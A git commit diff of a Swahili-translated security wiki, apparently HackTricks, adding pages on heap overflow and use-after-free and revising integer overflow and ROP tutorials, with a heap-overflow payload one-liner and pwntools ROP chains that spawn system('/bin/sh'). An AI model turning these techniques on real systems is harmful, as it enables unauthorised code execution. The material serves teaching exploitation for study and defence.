Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h

This commit is contained in:
Translator 2024-04-10 15:34:47 +00:00
parent 378559e645
commit c708436260
12 changed files with 347 additions and 240 deletions

View file

@ -712,6 +712,9 @@
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md)
* [Use After Free](binary-exploitation/heap/use-after-free.md)
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)

View file

@ -0,0 +1,3 @@
# Heap
Heap ni muundo wa data ambao hutumiwa kuhifadhi na kusimamia data wakati wa utekelezaji wa programu. Katika muktadha wa usalama wa kompyuta, kuchimba kwa heap ni mbinu ya kuchunguza na kuchexploit kasoro katika usimamizi wa kumbukumbu ya heap ili kufikia lengo fulani, kama vile kufikia sehemu ya kumbukumbu ambayo haipaswi kufikiwa au kusababisha programu kuzimika. Kuelewa jinsi heap inavyofanya kazi na jinsi ya kuitumia kwa ufanisi ni muhimu kwa wataalamu wa usalama wa kompyuta.

View file

@ -0,0 +1,45 @@
# Kujaa kwa Heap
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Kujaa kwa heap ni kama [**kujaa kwa steki**](../stack-overflow/) lakini kwenye heap. Kimsingi inamaanisha kuwa nafasi fulani ilireserviwa kwenye heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyoreserviwa.**
Kwenye kujaa kwa steki tunajua kwamba baadhi ya rejista kama kipima maelekezo au fremu ya steki itarejeshwa kutoka kwenye steki na inaweza kuwa inawezekana kuitumia hii. Kwenye kujaa kwa heap, **hakuna habari nyeti iliyohifadhiwa kwa chaguo-msingi** kwenye kipande cha heap kinachoweza kujaa. Hata hivyo, inaweza kuwa habari nyeti au viashiria, hivyo **umuhimu** wa udhaifu huu **unategemea** **data gani inaweza kubadilishwa** na jinsi mshambuliaji anaweza kutumia hii.
{% hint style="success" %}
Ili kupata vishikizo vya kujaa unaweza kutumia mifano ile ile kama kwenye [**kujaa kwa steki**](../stack-overflow/#kupata-vishikizo-vya-kujaa-kwa-steki).
{% endhint %}
## Mfano wa ARM64
Kwenye ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa kujaa kwa heap ambapo amri itakayotekelezwa imehifadhiwa kwenye kipande kinachofuata kutoka kwenye kipande kilichojaa. Hivyo, inawezekana kubadilisha amri itakayotekelezwa kwa kuibadilisha na shambulio rahisi kama vile:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -0,0 +1,26 @@
# Matumizi Baada ya Kuachiliwa
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Kama jina linavyosema, udhaifu huu hutokea wakati programu **inahifadhi nafasi fulani** kwenye heap kwa ajili ya kitu, **inaandika** habari fulani hapo, **inaachilia** kwa sababu inaonekana haifai tena na kisha **kuipata tena**.
Tatizo hapa ni kwamba si kinyume cha sheria (hakutakuwa na makosa) wakati **nafasi iliyofutwa inapopatikana**. Kwa hivyo, ikiwa programu (au mkaidi) itaweza **kuweka upya nafasi iliyofutwa na kuhifadhi data ya kubahatisha**, wakati nafasi iliyofutwa inapopatikana kutoka kwa kidude cha awali, **data hiyo itakuwa imeandikwa upya** ikisababisha **udhaifu ambao utategemea hisia ya data** iliyohifadhiwa awali (ikiwa ilikuwa kidude cha kazi ambacho kingetumiwa, mkaidi anaweza kukiendesha).
## Marejeo Mengine & Mifano
* [https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Matumizi baada ya kuachiliwa: Unda mtumiaji, muachilie, tumia kipande hicho **kuandika upya nafasi ya nywila ya mtumiaji** kutoka kwa ile iliyotangulia. Tumia mtumiaji huyo **kupita ukaguzi wa nywila**

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
- Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
- Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
- Gwana [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
- **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -20,11 +20,11 @@ Katikati ya **kuzidi kwa nambari za integer** kuna kikomo kilichowekwa na **ukub
Kwa mfano, **nambari isiyosaini ya biti 8** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika nambari isiyosaini ya biti 8, itazunguka hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **nambari isiyosaini ya biti 16**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 hadi 65,535 kutazungusha thamani kurudi 0.
Zaidi ya hayo, **nambari iliyosainiwa ya biti 8** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu biti moja hutumiwa kuwakilisha ishara (chanya au hasi), ikibaki biti 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
Zaidi ya hayo, **nambari iliyosainiwa ya biti 8** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu biti moja hutumiwa kuwakilisha ishara (chanya au hasi), ikiiacha biti 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
### Thamani Kubwa
Kwa **maburuzi ya wavuti** yanaweza kuwa ya kuvutia kujua thamani kubwa zinazoungwa mkono:
Kwa **maburuzi ya wavuti** yanayowezekana ni muhimu sana kujua thamani kubwa zinazoungwa mkono:
{% tabs %}
{% tab title="Rust" %}
@ -43,9 +43,9 @@ println!("{}", add_result);
{% endtab %}
{% tab title="Swahili" %}
### Integer Overflow
### Kuzidisha Kwa Nambari za Integer
Kuzidi kwa nambari ni hali ambapo thamani ya nambari inayohitajika kuhifadhiwa ni kubwa kuliko uwezo wa aina ya data inayotumiwa kuihifadhi. Hii inaweza kusababisha thamani kubwa kugeuka na kuwa thamani hasi au thamani ndogo kugeuka na kuwa thamani kubwa. Kwa mfano, katika C programming, kuzidi kwa nambari inaweza kusababisha udanganyifu wa kumbukumbu au uwezekano wa kutekelezwa kwa nambari ya hatari. Tahadhari inapaswa kuchukuliwa wakati wa kushughulikia operesheni za kuzidi kwa nambari ili kuzuia mashambulizi ya kimtandao.
Kuzidisha kwa nambari za integer ni mbinu inayotumika kudanganya programu kwa kusababisha nambari ya integer kuzidi ukubwa wake wa kuhifadhiwa, hivyo kusababisha hitilafu au matokeo yasiyotarajiwa. Hii inaweza kusababisha programu kufanya vitendo visivyotarajiwa au hata kufungua mlango kwa mashambulizi ya kimtandao. Tahadhari inapaswa kuchukuliwa wakati wa kuandika na kupima nambari za integer ili kuzuia matumizi mabaya ya kuzidisha kwa nambari za integer.
{% endtab %}
```c
#include <stdio.h>
@ -82,7 +82,7 @@ return 0;
```
### Kubadilisha Kutoka Nambari Iliyosainiwa Kwenda Nambari Isiyosainiwa
Fikiria hali ambapo nambari iliyosainiwa inasomwa kutoka kwa mwingiliano wa mtumiaji na kisha kutumiwa katika muktadha ambao unaitumia kama nambari isiyosainiwa, bila ukaguzi sahihi:
Fikiria hali ambapo nambari iliyosainiwa inasomwa kutoka kwa mwingiliano wa mtumiaji na kisha kutumika katika muktadha ambao unaitumia kama nambari isiyosainiwa, bila ukaguzi sahihi:
```c
#include <stdio.h>
@ -109,15 +109,19 @@ Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itakuwa inachukuliwa ka
### Mifano Mingine
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Programu inathibitisha tu byte ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, hivyo ni rahisi kuongeza ukubwa wowote ikiwa tu byte ya mwisho iko ndani ya upeo ulioruhusiwa. Kisha, kuingia kunasababisha kujazwa kwa buffer lililodukuliwa na ret2win.
* Inatumika 1B tu kuhifadhi ukubwa wa nenosiri hivyo inawezekana kufanya overflow na kufanya iweze kufikiria kuwa urefu wake ni 4 wakati ukweli ni 260 ili kuepuka ulinzi wa ukaguzi wa urefu
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Kwa kupewa jozi ya nambari, tafuta kutumia z3 nambari mpya ambayo ikiongezwa na ya kwanza itatoa ya pili:&#x20;
* Kwa kupewa jozi ya nambari, tafuta kutumia z3 nambari mpya ambayo ikiongezwa na ya kwanza itatoa ya pili:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
* Inatumika 1B tu kuhifadhi ukubwa wa nenosiri hivyo inawezekana kufanya overflow na kufanya iweze kufikiria kuwa urefu wake ni 4 wakati ukweli ni 260 ili kuepuka ulinzi wa ukaguzi wa urefu na kuandika juu ya stack kipengele cha ndani kinachofuata na kuepuka ulinzi wote wawili
\
## ARM64
Hii **haibadiliki katika ARM64** kama unavyoweza kuona katika [**chapisho hili la blogi**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
<details>
@ -126,9 +130,9 @@ Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itakuwa inachukuliwa ka
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,56 +2,25 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Maelezo Msingi**
**Return-Oriented Programming (ROP)** ni mbinu ya kisasa ya udukuzi inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
**Return-Oriented Programming (ROP)** ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
### Jinsi ROP Inavyofanya Kazi
1. **Udukuzi wa Mwelekeo wa Udhibiti**: Kwanza, muhusika anahitaji kuchukua mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
2. **Uteuzi wa Gadgets**: Muhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., `system("/bin/sh")`), na kushughulikia usafi au operesheni zingine zinazohitajika.
3. **Utekelezaji wa Mzigo wa Data**: Wakati kazi inayoweza kudhurika inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
### Vyombo
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) au moja kwa moja kutoka kwa **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## Mnyororo wa ROP kwenye Mfano wa x86
### **Mbinu za Kuita x86 (biti 32)**
* **cdecl**: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi nyuma (kulia-kushoto). **Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.**
* **stdcall**: Kama cdecl, lakini mpokeaji anahusika na kusafisha rundo.
### **Kupata Gadgets**
Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya faili ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:
* `pop eax; ret`: Gadget hii inapiga nje thamani ya juu ya rundo kwenye rejista ya `EAX` na kisha kurudi, kuruhusu kudhibiti `EAX`.
* `pop ebx; ret`: Kama hapo juu, lakini kwa ajili ya rejista ya `EBX`, ikiruhusu kudhibiti `EBX`.
* `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenye eneo la kumbukumbu linaloelekezwa na `EBX` kisha kurudi. Mara nyingi huitwa **gadget ya kuandika-nini-wapi**.
* Kwa kuongezea, tuna anwani ya kazi ya `system()` inayopatikana.
### **Mnyororo wa ROP**
Kwa kutumia **pwntools**, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo kwa lengo la kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
1. Maagizo ya `ret` kwa madhumuni ya upangaji (hiari)
2. Anwani ya kazi ya `system` (tukidhani ASLR imelemazwa na libc inayojulikana, habari zaidi katika [**Ret2lib**](ret2lib/))
3. Nafasi ya anwani ya kurudi kutoka kwa `system()`
4. Anwani ya mfuatano wa `"/bin/sh"` (parameta kwa kazi ya system)
1. **Utek
```python
from pwn import *
@ -93,12 +62,12 @@ p.interactive()
* Mfumo wa kuita wa **Windows x64** hutumia `RCX`, `RDX`, `R8`, na `R9` kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
* **Rejista**: Rejista za 64-bit ni pamoja na `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
#### **Kupata Gadgets**
#### **Kupata Vifaa vya Kutekeleza**
Kwa madhumuni yetu, tuzingatie vifaa vitakavyoturuhusu kuweka rejista ya **RDI** (kupitisha herufi **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua vifaa vifuatavyo:
Kwa madhumuni yetu, tuzingatie vifaa vitakavyoturuhusu kuweka rejista ya **RDI** (ili kupitisha herufi **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua vifaa vifuatavyo:
* **pop rdi; ret**: Hupakua thamani ya juu ya steki kwenye **RDI** na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
* **ret**: Kurudi kwa kawaida, inayofaa kwa upangilio wa steki katika hali fulani.
* **pop rdi; ret**: Hupokea thamani ya juu ya steki kwenye **RDI** na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
* **ret**: Kurudi kwa kawaida, inayofaa kwa upangaji wa steki katika hali fulani.
Na tunajua anwani ya kazi ya **system()**.
@ -139,45 +108,55 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Katika mfano huu:
### Mfano huu:
* Tunatumia kifaa cha **`pop rdi; ret`** kuweka **`RDI`** kwa anwani ya **`"/bin/sh"`**.
* Tunaruka moja kwa moja kwa **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
* Tunatumia kifaa cha **`pop rdi; ret`** kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
* Tunaruka moja kwa moja kwenye **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** kwenye mnyororo.
* **`ret_gadget`** hutumiwa kwa upangilio ikiwa mazingira ya lengo yanahitaji, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha upangilio sahihi wa stak kabla ya kuita kazi.
### Upangilio wa Stak
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **call** yanatekelezwa. **LIBC**, kwa kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haiko sawa (maana **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika **mnyororo wa ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **call** yanatekelezwa. **LIBC**, kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haijapangiliwa vizuri (maana yake **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika **mnyororo wa ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
## Tofauti Kuu kati ya x86 na x64
{% hint style="success" %}
Kwa kuwa **x64 inatumia rejista kwa hoja za kwanza chache**, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia, haswa katika muktadha wa Return-Oriented Programming (ROP).
Kwa kuwa **x64 inatumia rejista kwa hoja za kwanza chache**, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia, hasa katika muktadha wa Return-Oriented Programming (ROP).
{% endhint %}
## Mnyororo wa ROP katika Mfano wa ARM64
### **Msingi wa ARM64 & Mikataba ya Wito**
Angalia ukurasa ufuatao kwa habari hii:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Kinga Dhidi ya ROP
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Kinga hizi hufanya iwe ngumu kutumia ROP kwani anwani za vifaa hubadilika kati ya utekelezaji.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak ili kubadilisha pointa za kurudi ili kutumia mnyororo wa ROP.
* **Ukosefu wa Vifaa**: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak canary ili kubadilisha pointa za kurudi kwa kutumia mnyororo wa ROP.
* **Uhaba wa Vifaa**: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.
## Mbinu za msingi za ROP
## Mbinu Zinazotegemea ROP
Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:
Tambua kuwa ROP ni mbinu tu ya kutekeleza kanuni za kupindukia. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:
* **Ret2lib**: Tumia ROP kuita kazi za kupendelea kutoka kwa maktaba iliyopakiwa na vigezo vya kupendelea (kawaida kitu kama `system('/bin/sh')`.
* **Ret2lib**: Tumia ROP kuita kazi za kupinduliwa kutoka kwa maktaba iliyopakiwa na vigezo vya kupinduliwa (kawaida kitu kama `system('/bin/sh')`.
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, k.m. `execve`, na kufanya iitumie amri za kupendelea.
* **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, k.m. `execve`, na kufanya iitumie amri za kupinduliwa.
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret & EBP Chaining**: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).
* **EBP2Ret & EBP Chaining**: La kwanza litatumia EBP badala ya EIP kudhibiti mtiririko na la pili ni kama Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa ni muhimu pia kudhibiti EIP).
